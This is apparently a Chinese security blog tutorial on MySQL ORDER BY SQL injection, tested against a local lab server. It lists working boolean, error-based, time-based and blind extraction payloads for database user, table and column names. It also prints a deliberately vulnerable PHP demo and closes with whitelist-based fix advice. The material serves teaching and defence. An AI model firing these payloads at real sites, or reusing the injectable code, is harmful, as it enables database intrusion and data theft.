mysql 数值型注入_MySQL Order By 注入总结

前言

最近在做一些漏洞盒子后台项目的总结,在盒子众多众测项目中,注入类的漏洞占比一直较大。其中Order By注入型的漏洞也占挺大一部分比例,这类漏洞也是白帽子乐意提交的类型(奖金高、被过滤概览小)。今天给大家分享下一些关于Order By的有趣的经验。

何为order by 注入

本文讨论的内容指可控制的位置在order by子句后,如下order参数可控:select * from goods order by $_GET['order']

注入简单判断

在早期注入大量存在的时候,利用order by子句进行快速猜解表中的列数,再配合union select语句进行回显。在测试时,测试者可以通过修改order参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。

在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1 和order=2是不一样的。

08cb71b5856cad8f00b50c3f6e7f102c.png

http://192.168.239.2:81/?order=11 错误

http://192.168.239.2:81/?order=1 正常

进一步构造Payload

前面的判断并不是绝对的,我们需要构造出类似and 1=1、and 1=2的Payload以便于注入出数据。

e642b17c5f627e3b2a1b92fa6a4616d9.png

/?order=IF(1=1,name,price) 通过name字段排序

/?order=IF(1=2,name,price) 通过price字段排序

/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序

/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序

/?order=IFNULL(NULL,price) 通过price字段排序

/?order=IFNULL(NULL,name) 通过name字段排序

另外利用rand函数也能达到类似的效果,可以观测到排序的结果不一样

/?order=rand(1=1)

/?order=rand(1=2)

利用报错

在有些情况下无法知道列名,而且也不太直观的去判断两次请求的差别,如下用IF语句为例。

返回多条记录

/?order=IF(1=1,1,(select+1+union+select+2)) 正确

/?order=IF(1=2,1,(select+1+union+select+2)) 错误

/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常

/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误

利用regexp

/?order=(select+1+regexp+if(1=1,1,0x00)) 正常

/?order=(select+1+regexp+if(1=2,1,0x00)) 错误

利用updatexml

/?order=updatexml(1,if(1=1,1,user()),1) 正确

/?order=updatexml(1,if(1=2,1,user()),1) 错误

利用extractvalue

/?order=extractvalue(1,if(1=1,1,user())) 正确

/?order=extractvalue(1,if(1=2,1,user())) 错误

基于时间的盲注

注意如果直接if(1=2,1,SLEEP(2)),sleep时间将会变成2当前表中记录的数目,还有比如执行BENCHMARK(1000000,100100);等函数,将会对服务器造成一定的拒绝服务攻击。

04dd55a0d387fc314cde265121cbc526.png

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间

/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

以猜解user()即root@localhost为例子,由于只能一位一位猜解,可以利用SUBSTR,SUBSTRING,MID,以及left和right可以精准分割出每一位子串。然后就是比较操作了可以利用=,like,regexp等。这里要注意like是不区分大小写。

通过下可以得知user()第一位为r,ascii码的16进制为0x72:

/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确

/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误

猜解当前数据库的表名:

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误

猜解指定表名中的列名:

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误

sqlmap测试

在没有过滤的情况下是能够检测到注入的,如下图:

bfcc78b21c9ba15556d188d762891315.png

附录服务端代码

error_reporting(0);

session_start();

mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");

mysql_select_db("sqlidemo") or die("Select database failed");

$order = $_GET['order'] ? $_GET['order'] : 'name';

$sql = "select id,name,price from goods order by $order";

$result = mysql_query($sql);

$reslist = array();

while($row = mysql_fetch_array($result, MYSQL_ASSOC))

{

array_push($reslist, $row);

}

echo json_encode($reslist);

create database sqlidemo;

use sqlidemo;

create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null);

insert into goods (name, price) values("apple", 10);

insert into goods (name, price) values("banana", 15);

insert into goods (name, price) values("peach", 20);

修复建议

这个问题的是由于攻击者通过测试,了解到应用程序对数据对象进行了直接引用。该类问题可以归纳到OWASP-2013中A4(不安全的对象直接引用)。常见的修复方法如下:

通过正则表达式进行字符串过滤。只允许字段中出现字母、数字、下划线。

通过白名单思路,使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。

$orderby_whitelist = array(

"apple" => "apple ASC",

"applerev" => "apple DESC",

"daterev" => "banana DESC",

"DEFAULT" => "peach"

);

$order = isset($_GET["order"]) ? $_GET["order"] : "DEFAULT";

$order_expr = array_key_exists($order, $orderby_whitelist) ? $orderby_whitelist[$order] : $orderby_whitelist["DEFAULT"];

mysql_query("SELECT ... FROM ... ORDER BY $order_expr");

参考资料

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值